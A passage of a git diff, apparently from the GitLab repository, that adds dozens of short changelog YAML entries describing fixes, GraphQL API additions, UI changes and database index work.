+title: Remove `Add Issues` button and a related modal
+merge_request: 47898
+author:
+type: changed
diff --git a/changelogs/unreleased/284138-bump-workhorse-version.yml b/changelogs/unreleased/284138-bump-workhorse-version.yml
new file mode 100644
index 00000000000..15dcc389595
--- /dev/null
+++ b/changelogs/unreleased/284138-bump-workhorse-version.yml
@@ -0,0 +1,5 @@
+---
+title: Update GitLab Workhorse to v8.57.0
+merge_request:
+author:
+type: other
diff --git a/changelogs/unreleased/284588-prefix-sourcegraph-url-with-version.yml b/changelogs/unreleased/284588-prefix-sourcegraph-url-with-version.yml
new file mode 100644
index 00000000000..942ceb6c577
--- /dev/null
+++ b/changelogs/unreleased/284588-prefix-sourcegraph-url-with-version.yml
@@ -0,0 +1,5 @@
+---
+title: Make sure Sourcegraph asset always loads successfully
+merge_request: 49030
+author:
+type: fixed
diff --git a/changelogs/unreleased/284597-remove-bootstrap-4-s-cards-components-from-dashboard-todos.yml b/changelogs/unreleased/284597-remove-bootstrap-4-s-cards-components-from-dashboard-todos.yml
new file mode 100644
index 00000000000..3cd7999df9e
--- /dev/null
+++ b/changelogs/unreleased/284597-remove-bootstrap-4-s-cards-components-from-dashboard-todos.yml
@@ -0,0 +1,5 @@
+---
+title: Remove Bootstrap 4's Cards components from Issuables and Todos
+merge_request: 48004
+author: Takuya Noguchi
+type: performance
diff --git a/changelogs/unreleased/284601-clear-emoji-status-in-issue-and-mr-header.yml b/changelogs/unreleased/284601-clear-emoji-status-in-issue-and-mr-header.yml
new file mode 100644
index 00000000000..dc23eeb621b
--- /dev/null
+++ b/changelogs/unreleased/284601-clear-emoji-status-in-issue-and-mr-header.yml
@@ -0,0 +1,5 @@
+---
+title: Clear emoji status in issue/mr header
+merge_request: 49439
+author:
+type: fixed
diff --git a/changelogs/unreleased/284602-remove-issue-box-css.yml b/changelogs/unreleased/284602-remove-issue-box-css.yml
new file mode 100644
index 00000000000..8bfa9283724
--- /dev/null
+++ b/changelogs/unreleased/284602-remove-issue-box-css.yml
@@ -0,0 +1,5 @@
+---
+title: Remove unused .issue-box CSS
+merge_request: 48002
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/284602-remove-issue-box-static.yml b/changelogs/unreleased/284602-remove-issue-box-static.yml
new file mode 100644
index 00000000000..75cf831177f
--- /dev/null
+++ b/changelogs/unreleased/284602-remove-issue-box-static.yml
@@ -0,0 +1,5 @@
+---
+title: Remove .issue-box from static (classic) Issuable list
+merge_request: 47998
+author: Takuya Noguchi
+type: performance
diff --git a/changelogs/unreleased/284930-fix-entry-not-found-change-file-content.yml b/changelogs/unreleased/284930-fix-entry-not-found-change-file-content.yml
new file mode 100644
index 00000000000..8194806f9c0
--- /dev/null
+++ b/changelogs/unreleased/284930-fix-entry-not-found-change-file-content.yml
@@ -0,0 +1,5 @@
+---
+title: Fix console error being thrown when file is renamed
+merge_request: 48275
+author:
+type: fixed
diff --git a/changelogs/unreleased/285096-replace-fa-chevron-down-icons-in-clusters-gcp-form.yml b/changelogs/unreleased/285096-replace-fa-chevron-down-icons-in-clusters-gcp-form.yml
new file mode 100644
index 00000000000..009f7a9685a
--- /dev/null
+++ b/changelogs/unreleased/285096-replace-fa-chevron-down-icons-in-clusters-gcp-form.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-chevron-down icons with GitLab SVG in gcp cluster form
+merge_request: 48656
+author:
+type: changed
diff --git a/changelogs/unreleased/285103-serialize-admin-users.yml b/changelogs/unreleased/285103-serialize-admin-users.yml
new file mode 100644
index 00000000000..a83b9a319a1
--- /dev/null
+++ b/changelogs/unreleased/285103-serialize-admin-users.yml
@@ -0,0 +1,5 @@
+---
+title: Add admin users serializer and entity
+merge_request: 48791
+author:
+type: added
diff --git a/changelogs/unreleased/287724-disable-name-prometheus.yml b/changelogs/unreleased/287724-disable-name-prometheus.yml
new file mode 100644
index 00000000000..b650665635d
--- /dev/null
+++ b/changelogs/unreleased/287724-disable-name-prometheus.yml
@@ -0,0 +1,5 @@
+---
+title: Prometheus integration name should not have a modifiable input field
+merge_request: 48437
+author:
+type: fixed
diff --git a/changelogs/unreleased/287777-fj-enable-default-usage_data_i_snippets_show-flag.yml b/changelogs/unreleased/287777-fj-enable-default-usage_data_i_snippets_show-flag.yml
new file mode 100644
index 00000000000..1f6bc3ef5e4
--- /dev/null
+++ b/changelogs/unreleased/287777-fj-enable-default-usage_data_i_snippets_show-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Add MAU counter for snippet show action
+merge_request: 48477
+author:
+type: changed
diff --git a/changelogs/unreleased/288017-rename-cycle-analytics-with-value-stream-analytics-in-strings-unde.yml b/changelogs/unreleased/288017-rename-cycle-analytics-with-value-stream-analytics-in-strings-unde.yml
new file mode 100644
index 00000000000..f6ba2f88b25
--- /dev/null
+++ b/changelogs/unreleased/288017-rename-cycle-analytics-with-value-stream-analytics-in-strings-unde.yml
@@ -0,0 +1,5 @@
+---
+title: Rename "Cycle Analytics" with "Value Stream Analytics" under /spec
+merge_request: 48531
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/288312-editor-lite-extension-options.yml b/changelogs/unreleased/288312-editor-lite-extension-options.yml
new file mode 100644
index 00000000000..4d05f9d29a4
--- /dev/null
+++ b/changelogs/unreleased/288312-editor-lite-extension-options.yml
@@ -0,0 +1,5 @@
+---
+title: Support extensions as configurable ES6 classes in Editor Lite
+merge_request: 49813
+author:
+type: added
diff --git a/changelogs/unreleased/288823-rename-cycle_analytics_-variable-for-ci-with-vsa_.yml b/changelogs/unreleased/288823-rename-cycle_analytics_-variable-for-ci-with-vsa_.yml
new file mode 100644
index 00000000000..b4732f6e84c
--- /dev/null
+++ b/changelogs/unreleased/288823-rename-cycle_analytics_-variable-for-ci-with-vsa_.yml
@@ -0,0 +1,5 @@
+---
+title: Rename "CYCLE_ANALYTICS_*" variables for CI with "VSA_*"
+merge_request: 48675
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/288944-move-users-show-json.yml b/changelogs/unreleased/288944-move-users-show-json.yml
new file mode 100644
index 00000000000..7996591bd42
--- /dev/null
+++ b/changelogs/unreleased/288944-move-users-show-json.yml
@@ -0,0 +1,5 @@
+---
+title: Move users#show.json to users#activity.json
+merge_request: 48712
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/289911-feature-flag-rollout-of-group_members_filtered_search.yml b/changelogs/unreleased/289911-feature-flag-rollout-of-group_members_filtered_search.yml
new file mode 100644
index 00000000000..56346d6d586
--- /dev/null
+++ b/changelogs/unreleased/289911-feature-flag-rollout-of-group_members_filtered_search.yml
@@ -0,0 +1,5 @@
+---
+title: Convert group member filter dropdowns to filtered search bar
+merge_request: 49505
+author:
+type: changed
diff --git a/changelogs/unreleased/290113-feature-flag-rollout-of-vue_2fa_recovery_codes.yml b/changelogs/unreleased/290113-feature-flag-rollout-of-vue_2fa_recovery_codes.yml
new file mode 100644
index 00000000000..41bf6ebe6ce
--- /dev/null
+++ b/changelogs/unreleased/290113-feature-flag-rollout-of-vue_2fa_recovery_codes.yml
@@ -0,0 +1,5 @@
+---
+title: Require users to copy, download, or print 2FA recovery codes
+merge_request: 49493
+author:
+type: changed
diff --git a/changelogs/unreleased/290288-add-sha-to-composer.yml b/changelogs/unreleased/290288-add-sha-to-composer.yml
new file mode 100644
index 00000000000..46d2b830f3c
--- /dev/null
+++ b/changelogs/unreleased/290288-add-sha-to-composer.yml
@@ -0,0 +1,5 @@
+---
+title: Adds sha checksum to composer URL
+merge_request: 49511
+author:
+type: added
diff --git a/changelogs/unreleased/290597-segmented-control-in-file-header-for-markdown-files-does-not-have-.yml b/changelogs/unreleased/290597-segmented-control-in-file-header-for-markdown-files-does-not-have-.yml
new file mode 100644
index 00000000000..bfae07dd83c
--- /dev/null
+++ b/changelogs/unreleased/290597-segmented-control-in-file-header-for-markdown-files-does-not-have-.yml
@@ -0,0 +1,5 @@
+---
+title: Fix margin and selected state in file header
+merge_request: 49059
+author:
+type: fixed
diff --git a/changelogs/unreleased/290709-profile-dropdown-still-says-edit-status-after-clearing-user-status.yml b/changelogs/unreleased/290709-profile-dropdown-still-says-edit-status-after-clearing-user-status.yml
new file mode 100644
index 00000000000..09e36374dc6
--- /dev/null
+++ b/changelogs/unreleased/290709-profile-dropdown-still-says-edit-status-after-clearing-user-status.yml
@@ -0,0 +1,5 @@
+---
+title: Check for a status in the current user dropdown
+merge_request: 49203
+author:
+type: fixed
diff --git a/changelogs/unreleased/290762-move-the-action-from-profiles-gpgkeyscontroller-get_keys-to-usersc.yml b/changelogs/unreleased/290762-move-the-action-from-profiles-gpgkeyscontroller-get_keys-to-usersc.yml
new file mode 100644
index 00000000000..e334c6f5d48
--- /dev/null
+++ b/changelogs/unreleased/290762-move-the-action-from-profiles-gpgkeyscontroller-get_keys-to-usersc.yml
@@ -0,0 +1,5 @@
+---
+title: Move profiles/gpg_keys#get_keys to users#gpg_keys
+merge_request: 49448
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/291078-fix-typo-merge-locally.yml b/changelogs/unreleased/291078-fix-typo-merge-locally.yml
new file mode 100644
index 00000000000..9ec110f02ba
--- /dev/null
+++ b/changelogs/unreleased/291078-fix-typo-merge-locally.yml
@@ -0,0 +1,5 @@
+---
+title: Fix typo on merge locally step
+merge_request: 49330
+author:
+type: fixed
diff --git a/changelogs/unreleased/292210-hide-extra-breadcrumb-arrow.yml b/changelogs/unreleased/292210-hide-extra-breadcrumb-arrow.yml
new file mode 100644
index 00000000000..b03310ed554
--- /dev/null
+++ b/changelogs/unreleased/292210-hide-extra-breadcrumb-arrow.yml
@@ -0,0 +1,5 @@
+---
+title: Hide extra breadcrumb arrow that overlaps with last breadcrumb item
+merge_request: 49456
+author:
+type: fixed
diff --git a/changelogs/unreleased/292466-add-hidebackloglist-and-hideclosedlist-to-createboard-mutation-inp.yml b/changelogs/unreleased/292466-add-hidebackloglist-and-hideclosedlist-to-createboard-mutation-inp.yml
new file mode 100644
index 00000000000..bec6c7eeb3c
--- /dev/null
+++ b/changelogs/unreleased/292466-add-hidebackloglist-and-hideclosedlist-to-createboard-mutation-inp.yml
@@ -0,0 +1,5 @@
+---
+title: Allow updating `hideBacklogList` and `hideClosedList` board attributes
+merge_request: 49947
+author:
+type: changed
diff --git a/changelogs/unreleased/292987-group-member-with-minimal-access-missing-from-api-groups-id-member.yml b/changelogs/unreleased/292987-group-member-with-minimal-access-missing-from-api-groups-id-member.yml
new file mode 100644
index 00000000000..777bdce2119
--- /dev/null
+++ b/changelogs/unreleased/292987-group-member-with-minimal-access-missing-from-api-groups-id-member.yml
@@ -0,0 +1,5 @@
+---
+title: Fix get endpoint not returning members with minimal access
+merge_request: 49996
+author:
+type: fixed
diff --git a/changelogs/unreleased/293008-opsgenie-form-bug.yml b/changelogs/unreleased/293008-opsgenie-form-bug.yml
new file mode 100644
index 00000000000..34bb07cff18
--- /dev/null
+++ b/changelogs/unreleased/293008-opsgenie-form-bug.yml
@@ -0,0 +1,5 @@
+---
+title: Allow opsgenie manage form to be displayed when opsgenie is enabled
+merge_request: 49863
+author:
+type: fixed
diff --git a/changelogs/unreleased/293024-fix-httparty-basic-auth.yml b/changelogs/unreleased/293024-fix-httparty-basic-auth.yml
new file mode 100644
index 00000000000..2094f5d73a5
--- /dev/null
+++ b/changelogs/unreleased/293024-fix-httparty-basic-auth.yml
@@ -0,0 +1,5 @@
+---
+title: Add custom cop to prevent invalid HTTParty usage
+merge_request: 49878
+author: Ethan Reesor (@firelizzard)
+type: fixed
diff --git a/changelogs/unreleased/293629-add-expires_at-param-to-groupmemberbuilder-data.yml b/changelogs/unreleased/293629-add-expires_at-param-to-groupmemberbuilder-data.yml
new file mode 100644
index 00000000000..92c9c8b4220
--- /dev/null
+++ b/changelogs/unreleased/293629-add-expires_at-param-to-groupmemberbuilder-data.yml
@@ -0,0 +1,5 @@
+---
+title: Add expires_at param to GroupMemberBuilder data
+merge_request: 49981
+author:
+type: changed
diff --git a/changelogs/unreleased/293685-many-environments-strategies-break-the-row.yml b/changelogs/unreleased/293685-many-environments-strategies-break-the-row.yml
new file mode 100644
index 00000000000..06bd0453bf7
--- /dev/null
+++ b/changelogs/unreleased/293685-many-environments-strategies-break-the-row.yml
@@ -0,0 +1,5 @@
+---
+title: Make the strategies env wrap
+merge_request: 49951
+author:
+type: fixed
diff --git a/changelogs/unreleased/293866-ide_controller_spec.yml b/changelogs/unreleased/293866-ide_controller_spec.yml
new file mode 100644
index 00000000000..c29dd517e6f
--- /dev/null
+++ b/changelogs/unreleased/293866-ide_controller_spec.yml
@@ -0,0 +1,5 @@
+---
+title: Replace spec/controllers/ide_controller_spec.rb with request spec
+merge_request: 50075
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/293960-no-boards-found-message-showing-when-loading-boards.yml b/changelogs/unreleased/293960-no-boards-found-message-showing-when-loading-boards.yml
new file mode 100644
index 00000000000..3201dcebb4e
--- /dev/null
+++ b/changelogs/unreleased/293960-no-boards-found-message-showing-when-loading-boards.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve No boards found message showing when loading boards
+merge_request: 50140
+author:
+type: fixed
diff --git a/changelogs/unreleased/31528-index-cleanup.yml b/changelogs/unreleased/31528-index-cleanup.yml
new file mode 100644
index 00000000000..69e9246ad33
--- /dev/null
+++ b/changelogs/unreleased/31528-index-cleanup.yml
@@ -0,0 +1,5 @@
+---
+title: Remove redundant index
+merge_request: 47072
+author:
+type: performance
diff --git a/changelogs/unreleased/37797-jenkins-to-core.yml b/changelogs/unreleased/37797-jenkins-to-core.yml
new file mode 100644
index 00000000000..35c665d3e21
--- /dev/null
+++ b/changelogs/unreleased/37797-jenkins-to-core.yml
@@ -0,0 +1,5 @@
+---
+title: Move Jenkins to Core
+merge_request: 37797
+author: Ben Bodenmiller (@bbodenmiller)
+type: changed
diff --git a/changelogs/unreleased/37947-skipped-deployments.yml b/changelogs/unreleased/37947-skipped-deployments.yml
new file mode 100644
index 00000000000..3b4f6e42715
--- /dev/null
+++ b/changelogs/unreleased/37947-skipped-deployments.yml
@@ -0,0 +1,5 @@
+---
+title: Skipped jobs no longer trigger a cancelled deployment
+merge_request: 46614
+author: David Barr @davebarr
+type: fixed
diff --git a/changelogs/unreleased/38673-CI_HAS_OPEN_MERGE_REQUEST.yml b/changelogs/unreleased/38673-CI_HAS_OPEN_MERGE_REQUEST.yml
new file mode 100644
index 00000000000..9baac12f235
--- /dev/null
+++ b/changelogs/unreleased/38673-CI_HAS_OPEN_MERGE_REQUEST.yml
@@ -0,0 +1,5 @@
+---
+title: Add CI_OPEN_MERGE_REQUESTS environment variable
+merge_request: 38673
+author: Ben Bodenmiller @bbodenmiller
+type: added
diff --git a/changelogs/unreleased/44933-fix-unreachable-cli-image-openshift-ci-template.yml b/changelogs/unreleased/44933-fix-unreachable-cli-image-openshift-ci-template.yml
new file mode 100644
index 00000000000..1be7606e3b4
--- /dev/null
+++ b/changelogs/unreleased/44933-fix-unreachable-cli-image-openshift-ci-template.yml
@@ -0,0 +1,5 @@
+---
+title: Fix the unreachable CLI image in OpenShift CI template
+merge_request: 44933
+author: Klaus Mueller @klml
+type: added
diff --git a/changelogs/unreleased/47131-preserve-anchor-ids.yml b/changelogs/unreleased/47131-preserve-anchor-ids.yml
new file mode 100644
index 00000000000..0cbbca54bfd
--- /dev/null
+++ b/changelogs/unreleased/47131-preserve-anchor-ids.yml
@@ -0,0 +1,5 @@
+---
+title: Preserve cross references in AsciiDoc documents
+merge_request: 47131
+author: Guillaume Grossetie
+type: changed
diff --git a/changelogs/unreleased/9421-clone-quickaction-metrics.yml b/changelogs/unreleased/9421-clone-quickaction-metrics.yml
new file mode 100644
index 00000000000..fc3e93fc069
--- /dev/null
+++ b/changelogs/unreleased/9421-clone-quickaction-metrics.yml
@@ -0,0 +1,5 @@
+---
+title: Add usage metrics for issue clone
+merge_request: 48537
+author:
+type: added
diff --git a/changelogs/unreleased/9421-clone-quickaction-notifications.yml b/changelogs/unreleased/9421-clone-quickaction-notifications.yml
new file mode 100644
index 00000000000..7fd05e2c2a4
--- /dev/null
+++ b/changelogs/unreleased/9421-clone-quickaction-notifications.yml
@@ -0,0 +1,5 @@
+---
+title: Added email notifications when an Issue is cloned
+merge_request: 48534
+author:
+type: added
diff --git a/changelogs/unreleased/9421-clone-quickaction.yml b/changelogs/unreleased/9421-clone-quickaction.yml
new file mode 100644
index 00000000000..2335cafa37a
--- /dev/null
+++ b/changelogs/unreleased/9421-clone-quickaction.yml
@@ -0,0 +1,5 @@
+---
+title: Implement a /clone quick-action to quickly clone an Issue
+merge_request: 48394
+author:
+type: added
diff --git a/changelogs/unreleased/9421-clone_with_notes-quickaction.yml b/changelogs/unreleased/9421-clone_with_notes-quickaction.yml
new file mode 100644
index 00000000000..cee4f4b2d4c
--- /dev/null
+++ b/changelogs/unreleased/9421-clone_with_notes-quickaction.yml
@@ -0,0 +1,6 @@
+---
+title: Implement a /clone_with_notes quick-action to quickly clone an Issue will all
+ its notes
+merge_request: 48539
+author:
+type: added
diff --git a/changelogs/unreleased/9421-fix-author.yml b/changelogs/unreleased/9421-fix-author.yml
new file mode 100644
index 00000000000..9da06337acd
--- /dev/null
+++ b/changelogs/unreleased/9421-fix-author.yml
@@ -0,0 +1,5 @@
+---
+title: Fix author on /clone quickaction usage to be current user
+merge_request: 49830
+author:
+type: fixed
diff --git a/changelogs/unreleased/Migrate-Bootstrap-dropdown-to-GitLab-UI-GlDropdown-in-app-assets-javascri.yml b/changelogs/unreleased/Migrate-Bootstrap-dropdown-to-GitLab-UI-GlDropdown-in-app-assets-javascri.yml
new file mode 100644
index 00000000000..f07a9d44778
--- /dev/null
+++ b/changelogs/unreleased/Migrate-Bootstrap-dropdown-to-GitLab-UI-GlDropdown-in-app-assets-javascri.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate bootstrap dropdown to GlDropdown in app/assets/javascripts/diffs
+merge_request: 41451
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Replace-GlDeprecatedDropdown-with-GlDropdown-in-app-assets-javascripts-bo.yml b/changelogs/unreleased/Replace-GlDeprecatedDropdown-with-GlDropdown-in-app-assets-javascripts-bo.yml
new file mode 100644
index 00000000000..099ac409e2a
--- /dev/null
+++ b/changelogs/unreleased/Replace-GlDeprecatedDropdown-with-GlDropdown-in-app-assets-javascripts-bo.yml
@@ -0,0 +1,5 @@
+---
+title: Replace-GlDeprecatedDropdown-with-GlDropdown-in-app/assets/javascripts/boards
+merge_request: 41410
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Updating-editor-mode-dropdown-ab.yml b/changelogs/unreleased/Updating-editor-mode-dropdown-ab.yml
new file mode 100644
index 00000000000..0276c433c21
--- /dev/null
+++ b/changelogs/unreleased/Updating-editor-mode-dropdown-ab.yml
@@ -0,0 +1,5 @@
+---
+title: Use GitLab's standard dropdown for the review mode chooser in the WebIDE
+merge_request: 46820
+author:
+type: other
diff --git a/changelogs/unreleased/ab-ci-ref-index.yml b/changelogs/unreleased/ab-ci-ref-index.yml
new file mode 100644
index 00000000000..472546ef701
--- /dev/null
+++ b/changelogs/unreleased/ab-ci-ref-index.yml
@@ -0,0 +1,5 @@
+---
+title: Expand index on ci_pipelines
+merge_request: 49604
+author:
+type: performance
diff --git a/changelogs/unreleased/ab-reindex-functional-analyze.yml b/changelogs/unreleased/ab-reindex-functional-analyze.yml
new file mode 100644
index 00000000000..05fd817f122
--- /dev/null
+++ b/changelogs/unreleased/ab-reindex-functional-analyze.yml
@@ -0,0 +1,5 @@
+---
+title: Add relation name to indexes view
+merge_request: 47422
+author:
+type: other
diff --git a/changelogs/unreleased/ab-reindex-heuristic.yml b/changelogs/unreleased/ab-reindex-heuristic.yml
new file mode 100644
index 00000000000..41c78101d4c
--- /dev/null
+++ b/changelogs/unreleased/ab-reindex-heuristic.yml
@@ -0,0 +1,5 @@
+---
+title: Add btree bloat estimation view
+merge_request: 48698
+author:
+type: other
diff --git a/changelogs/unreleased/ab-track-bloat.yml b/changelogs/unreleased/ab-track-bloat.yml
new file mode 100644
index 00000000000..6016aadbabe
--- /dev/null
+++ b/changelogs/unreleased/ab-track-bloat.yml
@@ -0,0 +1,5 @@
+---
+title: Track index bloat estimate
+merge_request: 49822
+author:
+type: other
diff --git a/changelogs/unreleased/add-be-for-scoping-issue-boards-to-current-iteration.yml b/changelogs/unreleased/add-be-for-scoping-issue-boards-to-current-iteration.yml
new file mode 100644
index 00000000000..585f898074b
--- /dev/null
+++ b/changelogs/unreleased/add-be-for-scoping-issue-boards-to-current-iteration.yml
@@ -0,0 +1,5 @@
+---
+title: Add filtering by current iteration to issue lists and issue boards
+merge_request: 48040
+author:
+type: changed
diff --git a/changelogs/unreleased/add-domain-type-to-alerts.yml b/changelogs/unreleased/add-domain-type-to-alerts.yml
new file mode 100644
index 00000000000..eb95628ecad
--- /dev/null
+++ b/changelogs/unreleased/add-domain-type-to-alerts.yml
@@ -0,0 +1,5 @@
+---
+title: Add domain column to alerts table
+merge_request: 49120
+author:
+type: added
diff --git a/changelogs/unreleased/add-forked-pipeline-indicator.yml b/changelogs/unreleased/add-forked-pipeline-indicator.yml
new file mode 100644
index 00000000000..137fcb1c38a
--- /dev/null
+++ b/changelogs/unreleased/add-forked-pipeline-indicator.yml
@@ -0,0 +1,5 @@
+---
+title: Show if a Pipeline was Ran in a Fork
+merge_request: 48517
+author:
+type: added
diff --git a/changelogs/unreleased/add-gitlab-db-active-task.yml b/changelogs/unreleased/add-gitlab-db-active-task.yml
new file mode 100644
index 00000000000..b0a574c1137
--- /dev/null
+++ b/changelogs/unreleased/add-gitlab-db-active-task.yml
@@ -0,0 +1,5 @@
+---
+title: Add gitlab:db:active task
+merge_request: 48083
+author:
+type: fixed
diff --git a/changelogs/unreleased/add-limits-for-deployments-per-pipeline.yml b/changelogs/unreleased/add-limits-for-deployments-per-pipeline.yml
new file mode 100644
index 00000000000..64e123e0d00
--- /dev/null
+++ b/changelogs/unreleased/add-limits-for-deployments-per-pipeline.yml
@@ -0,0 +1,5 @@
+---
+title: Limit maximum deployments per pipeline to 500
+merge_request: 46931
+author:
+type: added
diff --git a/changelogs/unreleased/add-mean-time-to-merge-be.yml b/changelogs/unreleased/add-mean-time-to-merge-be.yml
new file mode 100644
index 00000000000..d497ea8db38
--- /dev/null
+++ b/changelogs/unreleased/add-mean-time-to-merge-be.yml
@@ -0,0 +1,5 @@
+---
+title: Add merge requests total time to merge field to the GraphQL API
+merge_request: 46040
+author:
+type: added
diff --git a/changelogs/unreleased/add-option-to-remove-legacy-tiller-server.yml b/changelogs/unreleased/add-option-to-remove-legacy-tiller-server.yml
new file mode 100644
index 00000000000..152dc65a4af
--- /dev/null
+++ b/changelogs/unreleased/add-option-to-remove-legacy-tiller-server.yml
@@ -0,0 +1,5 @@
+---
+title: Add option to uninstall the legacy Tiller server for clusters added before GitLab 13.2
+merge_request: 47457
+author:
+type: changed
diff --git a/changelogs/unreleased/add-project-setting-to-edit-commit-messages.yml b/changelogs/unreleased/add-project-setting-to-edit-commit-messages.yml
new file mode 100644
index 00000000000..2385be14d26
--- /dev/null
+++ b/changelogs/unreleased/add-project-setting-to-edit-commit-messages.yml
@@ -0,0 +1,5 @@
+---
+title: Add a project setting to allow editing commit messages
+merge_request: 49152
+author:
+type: other
diff --git a/changelogs/unreleased/add-public-email-to-graphql-user.yml b/changelogs/unreleased/add-public-email-to-graphql-user.yml
new file mode 100644
index 00000000000..2e826d841d1
--- /dev/null
+++ b/changelogs/unreleased/add-public-email-to-graphql-user.yml
@@ -0,0 +1,5 @@
+---
+title: Expose public email field for user in GraphQL
+merge_request: 48468
+author:
+type: changed
diff --git a/changelogs/unreleased/add-retry-after-header-rackattack.yml b/changelogs/unreleased/add-retry-after-header-rackattack.yml
new file mode 100644
index 00000000000..49588ffe0e5
--- /dev/null
+++ b/changelogs/unreleased/add-retry-after-header-rackattack.yml
@@ -0,0 +1,5 @@
+---
+title: Set Retry-After header when RackAttack throttling
+merge_request: 48310
+author:
+type: fixed
diff --git a/changelogs/unreleased/add-sidekiq-dead-job-metrics.yml b/changelogs/unreleased/add-sidekiq-dead-job-metrics.yml
new file mode 100644
index 00000000000..231bc064bcb
--- /dev/null
+++ b/changelogs/unreleased/add-sidekiq-dead-job-metrics.yml
@@ -0,0 +1,5 @@
+---
+title: Add metric for dead Sidekiq jobs
+merge_request: 48361
+author:
+type: changed
diff --git a/changelogs/unreleased/add_design_to_git_transfer_in_progress.yml b/changelogs/unreleased/add_design_to_git_transfer_in_progress.yml
new file mode 100644
index 00000000000..2817ab9335d
--- /dev/null
+++ b/changelogs/unreleased/add_design_to_git_transfer_in_progress.yml
@@ -0,0 +1,6 @@
+---
+title: Consider design repositories when determining if there is a git transfer in
+ progress
+merge_request: 48304
+author:
+type: fixed
diff --git a/changelogs/unreleased/ajk-catch-wiki-timeouts.yml b/changelogs/unreleased/ajk-catch-wiki-timeouts.yml
new file mode 100644
index 00000000000..05b38256b63
--- /dev/null
+++ b/changelogs/unreleased/ajk-catch-wiki-timeouts.yml
@@ -0,0 +1,5 @@
+---
+title: Catch wiki timeouts when rendering pages
+merge_request: 46627
+author:
+type: fixed
diff --git a/changelogs/unreleased/ajk-gql-reviewer-merge-requests.yml b/changelogs/unreleased/ajk-gql-reviewer-merge-requests.yml
new file mode 100644
index 00000000000..8156e684bb4
--- /dev/null
+++ b/changelogs/unreleased/ajk-gql-reviewer-merge-requests.yml
@@ -0,0 +1,5 @@
+---
+title: Support merge requests filtered by reviewer in GraphQL API
+merge_request: 49464
+author:
+type: changed
diff --git a/changelogs/unreleased/ajk-graphql-user-location.yml b/changelogs/unreleased/ajk-graphql-user-location.yml
new file mode 100644
index 00000000000..95c8660860c
--- /dev/null
+++ b/changelogs/unreleased/ajk-graphql-user-location.yml
@@ -0,0 +1,5 @@
+---
+title: Add User.location field to GraphQL API
+merge_request: 48059
+author:
+type: changed
diff --git a/changelogs/unreleased/ajk-mark-as-spam.yml b/changelogs/unreleased/ajk-mark-as-spam.yml
new file mode 100644
index 00000000000..999191164d1
--- /dev/null
+++ b/changelogs/unreleased/ajk-mark-as-spam.yml
@@ -0,0 +1,5 @@
+---
+title: Fix bug in snippets mark as spam mutation
+merge_request: 49912
+author:
+type: fixed
diff --git a/changelogs/unreleased/ajk-quality-triage-ops-532.yml b/changelogs/unreleased/ajk-quality-triage-ops-532.yml
new file mode 100644
index 00000000000..895d5162c0e
--- /dev/null
+++ b/changelogs/unreleased/ajk-quality-triage-ops-532.yml
@@ -0,0 +1,5 @@
+---
+title: Eliminate N+1 performance issues in MergeRequest.pipelines in GraphQL API
+merge_request: 47784
+author:
+type: fixed
diff --git a/changelogs/unreleased/ak-add-index-on-builds.yml b/changelogs/unreleased/ak-add-index-on-builds.yml
new file mode 100644
index 00000000000..498801cf8c0
--- /dev/null
+++ b/changelogs/unreleased/ak-add-index-on-builds.yml
@@ -0,0 +1,5 @@
+---
+title: Adds id desc to index_ci_builds_on_runner_id_and_id_desc
+merge_request: 48241
+author:
+type: fixed
diff --git a/changelogs/unreleased/al-273258-auto-approve-users-when-require-admin-approval-disabled.yml b/changelogs/unreleased/al-273258-auto-approve-users-when-require-admin-approval-disabled.yml
new file mode 100644
index 00000000000..f6412aa615e
--- /dev/null
+++ b/changelogs/unreleased/al-273258-auto-approve-users-when-require-admin-approval-disabled.yml
@@ -0,0 +1,5 @@
+---
+title: Auto approve users if Admin approval after sign up setting is disabled
+merge_request: 49068
+author:
+type: changed
diff --git a/changelogs/unreleased/alert-settings-form-json-bug.yml b/changelogs/unreleased/alert-settings-form-json-bug.yml
new file mode 100644
index 00000000000..9bb46fe640b
--- /dev/null
+++ b/changelogs/unreleased/alert-settings-form-json-bug.yml
@@ -0,0 +1,6 @@
+---
+title: Update alert setting form to handle JSON payload submit when mapping builder
+ is not enabled
+merge_request: 48231
+author:
+type: fixed
diff --git a/changelogs/unreleased/alexives-287763-fix_performance_of_snippet_repository_queries.yml b/changelogs/unreleased/alexives-287763-fix_performance_of_snippet_repository_queries.yml
new file mode 100644
index 00000000000..5d4a75f9949
--- /dev/null
+++ b/changelogs/unreleased/alexives-287763-fix_performance_of_snippet_repository_queries.yml
@@ -0,0 +1,5 @@
+---
+title: Update snippet repository finder for namespace replication
+merge_request: 49518
+author:
+type: performance
diff --git a/changelogs/unreleased/allow-failure-for-secret-detection.yml b/changelogs/unreleased/allow-failure-for-secret-detection.yml
new file mode 100644
index 00000000000..635ffe324a9
--- /dev/null
+++ b/changelogs/unreleased/allow-failure-for-secret-detection.yml
@@ -0,0 +1,5 @@
+---
+title: Allow failure for Secret Detection job
+merge_request: 48152
+author:
+type: fixed
diff --git a/changelogs/unreleased/allow-filtering-by-member-relations-in-graphql.yml b/changelogs/unreleased/allow-filtering-by-member-relations-in-graphql.yml
new file mode 100644
index 00000000000..2faedfd3a42
--- /dev/null
+++ b/changelogs/unreleased/allow-filtering-by-member-relations-in-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Allow filtering project and group members by relationship in GraphQL
+merge_request: 48372
+author:
+type: changed
diff --git a/changelogs/unreleased/am-modifying-files-rb-to-retry-on-rsync-error.yml b/changelogs/unreleased/am-modifying-files-rb-to-retry-on-rsync-error.yml
new file mode 100644
index 00000000000..bb5112652d6
--- /dev/null
+++ b/changelogs/unreleased/am-modifying-files-rb-to-retry-on-rsync-error.yml
@@ -0,0 +1,5 @@
+---
+title: Retry rsync when source files vanish during backup
+merge_request: 48568
+author:
+type: added
diff --git a/changelogs/unreleased/api-support-for-deployment-frequency.yml b/changelogs/unreleased/api-support-for-deployment-frequency.yml
new file mode 100644
